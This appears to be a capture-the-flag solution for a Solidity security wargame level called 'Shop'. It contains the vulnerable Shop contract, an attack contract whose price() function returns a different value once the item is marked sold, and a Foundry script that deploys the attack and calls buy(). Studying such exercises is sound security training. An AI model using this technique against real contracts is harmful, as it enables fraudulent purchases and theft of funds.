// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface Buyer {
function price() external view returns (uint256);
}
contract Shop {
uint256 public price = 100;
bool public isSold;
function buy() public {
Buyer _buyer = Buyer(msg.sender);
if (_buyer.price() >= price && !isSold) {
isSold = true;
price = _buyer.price();
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
// ================================================================
// │ LEVEL 21 - SHOP │
// ================================================================
interface IShop {
function buy() external;
function isSold() external view returns (bool);
function price() external view returns (uint256);
}
contract AttackContract {
function price() public view returns (uint256) {
bool isSold = IShop(msg.sender).isSold();
uint256 askedPrice = IShop(msg.sender).price();
if (!isSold) {
return askedPrice;
} else {
return 0;
}
}
function buyFromShop(address _shopAddr) public {
IShop(_shopAddr).buy();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import {Script, console} from "forge-std/Script.sol";
import {HelperFunctions} from "script/HelperFunctions.s.sol";
import {AttackContract} from "src/Level21.sol";
// ================================================================
// │ LEVEL 21 - SHOP │
// ================================================================
contract Exploit is Script, HelperFunctions {
function run() public {
address targetContractAddress = getInstanceAddress();
vm.startBroadcast();
AttackContract attackContract = new AttackContract();
attackContract.buyFromShop(targetContractAddress);
vm.stopBroadcast();
}
}
Submit instance... 🥳